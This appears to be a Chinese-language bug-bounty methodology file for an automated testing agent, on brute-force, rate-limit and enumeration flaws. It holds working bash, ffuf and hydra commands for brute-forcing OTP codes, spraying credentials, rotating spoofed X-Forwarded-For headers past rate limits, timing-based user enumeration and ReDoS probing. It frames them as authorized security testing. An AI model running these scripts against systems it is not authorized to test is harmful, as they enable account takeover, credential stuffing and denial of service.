hunt-brute-force

HUNT-BRUTE-FORCE — 速率限制 / 暴力破解 / 枚举

背景说明：此技能基于已发布的技术类别构建，并非来自经过整理的 HackerOne 报告集合。report_count 有意设为 0——不要引用无法核实的具体奖金金额或报告 ID。对于有充分公开记录的案例（例如 Laxman Muthiyah 于 2019–2021 年开展的 Instagram 密码重置 OTP 竞态 / 轮换研究），下文会将其列为技术参考，而非奖金声明。

皇冠明珠目标

OTP 暴力破解（6 位数字共有 1,000,000 种组合）且没有有效的速率限制 = 严重 ATO 绕过。

最高价值攻击链：

• OTP / 2FA 暴力破解 → 绕过 MFA → ATO — /verify-otp 没有有效的速率限制，且可遍历完整的 000000–999999 密钥空间
• 密码重置令牌暴力破解 — 令牌短小 / 可预测 / 永不过期，且没有速率限制 → ATO（Instagram 2019 年案例结合了 6 位数重置码、对每个请求来源均不设速率限制，以及 IP 轮换，使 10^6 种组合变得可行）
• 用户名 / 电子邮件枚举 → 定向凭据填充 — 可通过响应文本、状态码或响应时间区分有效和无效信息，然后使用泄露数据集进行批量尝试
• 优惠券 / 礼品卡 / 推荐码暴力破解 — 验证码没有速率限制 → 造成财务影响
• ReDoS — 攻击者控制的输入触发灾难性回溯正则表达式 → CPU 耗尽 → DoS

---

自主测试优先级

在当前轮次预算内测试——优先关注信号，而非数量。

自动化测试无法暴力破解数百万种组合。请专注于两件事：(1) 使用最有可能的候选凭据进行喷洒攻击；(2) 检测是否存在速率限制。

策略：

1. 找出登录端点和预期参数名称（用户名 / 电子邮件、密码）。
2. 尝试符合目标环境的弱密码 / 默认凭据——应用技术栈的默认管理员凭据、测试环境的简单密码，以及应用其他位置可见的凭据（例如个人资料中公开的用户名、文档中的默认密码）。
3. 连续失败 3-5 次后，检查是否出现速率限制信号（429 状态码、“尝试次数过多”提示、出现 CAPTCHA、账户锁定提示）。如果没有这些信号，即表示缺少速率限制，存在漏洞。
4. 传统登录表单使用表单编码，REST API 登录端点使用 JSON。

成功时应检查：

• 响应正文或 Set-Cookie 标头中是否包含会话令牌或 JWT
• 是否重定向到已验证身份的控制面板
• 响应正文是否与登录失败时的基准响应不同

用户名枚举（单独报告）： 尝试一个已知有效的用户名和一个随机用户名。如果错误消息不同（“密码错误”与“未找到用户”），或响应时间不同 → 存在用户枚举漏洞，即使没有成功登录也成立。

---

关键：四种限速状态——不要将它们混为一谈

没有 429 的 200/401 并不意味着“没有限速”。只检查 429/锁定状态的限速技能会产生假阴性。在下结论之前，先对防护进行分类：发送约 50 个请求的突发流量，并观察完整响应（状态码、正文、标头、延迟和下游成功情况）：

状态	信号	仍可暴力破解？
硬性账户锁定	失败 N 次后账户被禁用；之后即使使用正确凭据也会失败	否（但锁定本身可能构成拒绝服务漏洞）
软性 IP 限速	仅按源 IP 触发 429/延迟增加	是——可通过轮换标头/IP 绕过（阶段 4）
注入 CAPTCHA	200，但正文在 N 次请求后切换为 CAPTCHA 挑战	可能——检查验证端点是否在服务端强制执行，或 API 路径是否跳过了它
静默影子限速	每个请求都返回 200/401，但提交内容被丢弃——真正正确的 OTP/密码不再被接受，或响应变成固定内容	**这就是陷阱。**天真的循环看到“全是 200，没有 429”就报告“没有限速”——这是错误结论。

影子限速检测器——在已知位置注入已知有效的值，并确认它在负载下仍然有效：

# Seed: position 500 in the brute set is the REAL OTP for your own test account.
# If the loop reaches 500 and the correct code no longer authenticates,
# the endpoint is silently throttling/dropping — NOT unprotected.
KNOWN_GOOD="123456"   # the actual current OTP for YOUR test account
for n in $(seq 0 600); do
  CODE=$([ "$n" = "500" ] && echo "$KNOWN_GOOD" || printf "%06d" "$n")
  CODE_RESP=$(curl -s -o /tmp/bf_body -w "%{http_code} %{time_total}" \
    -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}")
  echo "$n $CODE $CODE_RESP $(wc -c </tmp/bf_body)"
done
# Three columns to watch: status, time_total, body size.
# Rising time_total or a body-size change with status unchanged = shadow throttle.

---

分步漏洞挖掘方法

阶段 1 — 登录限速测试（分类，而不只是统计 429）

# Send a burst and log status + latency + body length for EACH attempt.
for i in $(seq 1 50); do
  read CODE TIME < <(curl -s -o /tmp/bf_l -w "%{http_code} %{time_total}\n" \
    -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"test@$TARGET\",\"password\":\"wrong$i\"}")
  echo "Attempt $i: status=$CODE time=${TIME}s len=$(wc -c </tmp/bf_l)"
  sleep 0.1
done
# Then CLASSIFY against the 4-state table above. Watch for:
#   - status flips to 429 / 403  → soft throttle or lockout
#   - body grows / CAPTCHA token appears → CAPTCHA injection
#   - latency climbs while status stays 401 → shadow throttle
#   - genuinely nothing changes across all 50 → candidate "no rate limit" (confirm w/ Phase 2 seed)

阶段 2 — OTP / 2FA 暴力破解

# PRE-REQUISITE: a valid session that is pending OTP verification (your own test account).
SESSION_COOKIE="pre-auth-session-after-first-factor"

# ---- 2a. PoC probe: send 101 codes (seq 0..100 is INCLUSIVE = 101 values) ----
# This ONLY proves the endpoint accepts repeated attempts without 429/lockout.
# It does NOT prove the full 10^6 keyspace is brute-forcible — see 2b.
for CODE in $(seq -f "%06g" 0 100); do
  RESP=$(curl -s -X POST "https://$TARGET/api/verify-otp" \
    -H "Content-Type: application/json" -H "Cookie: $SESSION_COOKIE" \
    -d "{\"otp\":\"$CODE\"}" -o /dev/null -w "%{http_code}")
  echo "$CODE: $RESP"
  [ "$RESP" = "429" ] && { echo "Rate limit at $CODE"; break; }
done
# 101 attempts with no 429/lockout → endpoint is a candidate. NOW run the shadow-throttle
# seed test (above) before claiming "no rate limit". A clean probe is necessary, not sufficient.

# ---- 2b. Full-keyspace impact proof (only with explicit authorization + your own account) ----
# Severity rests on 10^6 being REACHABLE, not on 101 codes. Demonstrate tractability:
#   - keyspace = 10^6 ; observed throughput from 2a (req/s) ; expected hit at ~half keyspace.
#   - e.g. 50 req/s sustained → ~10^6 / 50 ≈ 5.5 hours worst case, ~2.8h expected. That IS the impact.
#   - If a code rotates every T seconds, the real bound is (req/s * T) attempts per window.
#     Brute is only viable if (throughput * code_lifetime) approaches the keyspace, OR if the
#     code does NOT rotate / reset is unlimited (the Instagram-2019 class).
# Report the math; do NOT actually exhaust 10^6 against a third party.

阶段 3 — 用户名 / 邮箱枚举（字符串、状态码和时序）

VALID_USER="known-user@$TARGET"
INVALID_USER="definitely-not-real-xyz123@$TARGET"

# String + status diff
for U in "$VALID_USER" "$INVALID_USER"; do
  curl -s -o /tmp/bf_e -w "[$U] status=%{http_code} time=%{time_total}s len=%{size_download}\n" \
    -X POST "https://$TARGET/api/login" -H "Content-Type: application/json" \
    -d "{\"email\":\"$U\",\"password\":\"wrongpassword\"}"
done
diff <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}") \
     <(curl -s -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
        -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}")
# Different message/status/len → enumeration.

# Timing oracle (valid users hash the password, invalid users short-circuit → measurable delta).
# Sample MANY times and compare medians — a single request is noise, not signal.
echo "VALID timings:";   for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$VALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
echo "INVALID timings:"; for i in $(seq 1 30); do curl -s -o /dev/null -w "%{time_total}\n" \
  -X POST "https://$TARGET/api/login" -H 'Content-Type: application/json' \
  -d "{\"email\":\"$INVALID_USER\",\"password\":\"wrong\"}"; done | sort -n | awk '{a[NR]=$1}END{print a[int(NR/2)]}'
# A reproducible median delta (e.g. valid ~180ms vs invalid ~40ms) is a timing-based enum finding.

# Reset + registration enumeration
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$VALID_USER"   | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/forgot-password" -d "email=$INVALID_USER" | grep -i "sent\|exist\|not found\|registered"
curl -s -X POST "https://$TARGET/api/register"   -d "email=$VALID_USER"    | grep -i "exist\|taken\|already"

阶段 3b — 注册接口未限速（批量创建账户）

未限速的注册端点本身就是滥用类漏洞，不只是枚举预言机：对 */signup/*/register 发送突发请求（每个请求轮换邮箱和来源），并确认确实创建了 N 个账户，且没有 429/CAPTCHA/锁定 → 自动批量创建账户（垃圾信息、促销/推荐滥用、资源耗尽）。单独来看风险为低至中；若能串联到付费/受限资源，风险更高。已披露：reports/2915502。

阶段 4 — IP / 来源轮换绕过

# Per-IP limits are bypassable when the app trusts a client-controlled source header.
# Rotate the header EVERY request; if the 429 you hit in Phase 1 disappears → broken limit.
HEADERS=( "X-Forwarded-For" "X-Real-IP" "X-Originating-IP" "X-Client-IP" \
          "X-Remote-IP" "X-Forwarded" "Forwarded-For" "CF-Connecting-IP" "True-Client-IP" )
for i in $(seq 1 60); do
  RAND_IP="$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1).$(shuf -i 1-254 -n1)"
  ARGS=(); for h in "${HEADERS[@]}"; do ARGS+=(-H "$h: $RAND_IP"); done
  RESP=$(curl -s "${ARGS[@]}" -X POST "https://$TARGET/api/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"test@$TARGET\",\"password\":\"wrong$i\"}" -o /dev/null -w "%{http_code}")
  echo "Attempt $i (IP $RAND_IP): $RESP"
done
# Also try: multiple comma-joined XFF values ("1.2.3.4, 5.6.7.8"), and appending your real IP
# AFTER a spoofed one — some parsers take first, some last.
# CONFIRM the bypass: re-run Phase 1 WITHOUT rotation to show the 429 returns. The delta is the proof.

阶段 5 — 令牌熵（测量，不要凭肉眼判断）

# Collect reset/session/OTP tokens for YOUR OWN test account, then quantify entropy.
for i in $(seq 1 20); do
  curl -s -X POST "https://$TARGET/forgot-password" -d "[email protected]"
  # Extract token from the email/link and append to tokens.txt
  sleep 2
done

# 1) Shannon entropy / compressibility — low entropy = predictable:
ent tokens.txt 2>/dev/null || \
  python3 -c "import sys,math,collections;d=open('tokens.txt').read();c=collections.Counter(d);n=len(d);\
print('bits/char =', -sum(v/n*math.log2(v/n) for v in c.values()))"

# 2) If tokens are hex/base64, decode and look for structure (timestamp, counter, PID):
while read t; do echo -n "$t -> "; echo -n "$t" | xxd -r -p 2>/dev/null | xxd | head -1; done < tokens.txt

# 3) Sequential / time-correlated test — sort and diff consecutive numeric tokens:
sort -n tokens.txt | awk 'NR>1{print $1-prev} {prev=$1}'   # constant/small delta = counter-based

# 4) DEFINITIVE tool: pipe ~10k tokens through Burp Sequencer (Live capture on the reset
#    response) — it runs FIPS/NIST randomness tests and reports effective bits of entropy.
#    < ~64 effective bits on a security token is a finding; the brute-window math follows.

阶段 6 — ReDoS 检测

# Hit input-validation / search endpoints with catastrophic-backtracking payloads.
# Classic evil-regex triggers (nested quantifier / overlapping alternation):
for LEN in 5 10 15 20 25 30; do
  INPUT=$(python3 -c "print('a'*$LEN + '!')")              # for (a+)+$  /  (a|a)*$ style regex
  T=$(curl -s -o /dev/null -w "%{time_total}" "https://$TARGET/search?q=$INPUT")
  echo "len=$LEN -> ${T}s"
done
# Other payload shapes to try by field: email regex → "a@"+"a"*N ; URL regex → "http://"+"a"*N
# DOUBLING latency per +5 chars (super-linear) = ReDoS. Linear growth = just a slow endpoint, NOT a bug.
# Confirm with a control: send the same byte-length of a BENIGN string; if it returns fast, the
# blow-up is regex-driven, not size-driven.

---

自动化

# ---- ffuf: OTP brute ----
# PoC probe (101 codes) — proves acceptance, NOT full keyspace. Note the inclusive seq.
ffuf -u "https://$TARGET/api/verify-otp" -X POST \
  -H "Content-Type: application/json" -H "Cookie: session=SESSION" \
  -d '{"otp": "FUZZ"}' \
  -w <(seq -f "%06g" 0 100) \
  -mc all -ac \
  -rate 50            # cap throughput so YOU can read the rate-limit response, not DoS the target

# FULL keyspace (authorized + your own account only) — generate all 10^6 codes:
#   seq -f "%06g" 0 999999 > /tmp/otp_full.txt   (then -w /tmp/otp_full.txt)
# Use -mc all + -ac so ffuf auto-calibrates and you SEE 429/403/CAPTCHA responses instead of
# filtering them out. -mc 200 alone hides throttling — never brute with -mc 200 only.
# Add -p 0.1 jitter and watch the Errors/RateLimited counters; stop if the success oracle stops firing.

# ---- hydra: login spray ----
hydra -l [email protected] -P ~/wordlists/top-1000.txt "$TARGET" \
  http-post-form "/api/login:email=^USER^&password=^PASS^:Invalid" -t 4

# ---- nuclei: rate-limit / default-cred templates ----
nuclei -u "https://$TARGET" -t http/fuzzing/ -t http/default-logins/ -severity medium,high,critical

---

漏洞链表

发现	链接到	影响
OTP 无有效限速（可遍历完整的 10^6 种可能）	绕过 MFA → ATO	严重
暴力破解密码重置码 + IP 轮换	重置 → ATO（Instagram-2019 类）	严重
登录无速率限制 + 枚举	使用泄露凭据库进行凭据填充攻击	高
通过 X-Forwarded-For 等绕过 IP 限制	绕过应用中所有按 IP 限制的机制	高
重置令牌可预测 / 熵低	在有效期内猜中令牌 → ATO	高
公共输入字段存在 ReDoS	单个请求即可耗尽 CPU → DoS	中至高
攻击者可触发硬性锁定	定向账户 DoS（锁定受害者账户）	中

---

验证 — 严格排除误报

撰写报告前，必须满足以下各项：

• OTP/登录“无速率限制”：必须针对全部四种状态进行确认，不能仅凭未出现 429。 影子限流种子测试已通过（在突发负载下，已知有效值仍可通过认证）。 监测了延迟和响应体大小，而不只是状态码。
• 全密钥空间声明：严重程度应由可达性计算（吞吐量 × 代码有效期与 10^6 的比较）来证明，而不是依据 101 个代码的探测结果。报告中应列明具体数字。
• 枚举：差异必须能在 ≥20 个样本中重现，且属于服务器状态差异（用户有效与无效），而不是服务器策略造成的表象（例如，通用的“如果存在此邮箱，我们已发送……”消息不属于枚举）。对于时序，应比较多个样本的中位数，绝不能只比较单次请求。
• IP 轮换绕过：关闭轮换并证明 429 会重新出现。差异本身才是证据；仅有一次快速测试并不足够。
• 令牌熵：必须有实际测量结果支持（Burp Sequencer 有效位数、ent，或已证明的计数器/时间戳结构），不能只说“看起来很短”。
• ReDoS：延迟随输入加倍呈超线性增长，并与无害对照进行比较；线性增长 ≠ ReDoS。
• 范围/影响：是否造成了实际结果（已认证会话、泄露账户列表、拒绝服务）？如果速率限制存在缺口，但无法造成实际影响，则应定为信息级，而不是中危。

严重程度：

• OTP/MFA/重置码可被有效暴力破解 → 已证明可劫持账户（ATO）：严重
• 登录无速率限制 + 凭证填充/IP 绕过可行：高危
• 安全令牌可预测（实测熵低）：高危
• 单独的用户名/邮箱枚举：低危–中危
• ReDoS 可复现并导致服务器明显延迟：中危–高危
• 攻击者可触发的硬锁定（账户拒绝服务）：中危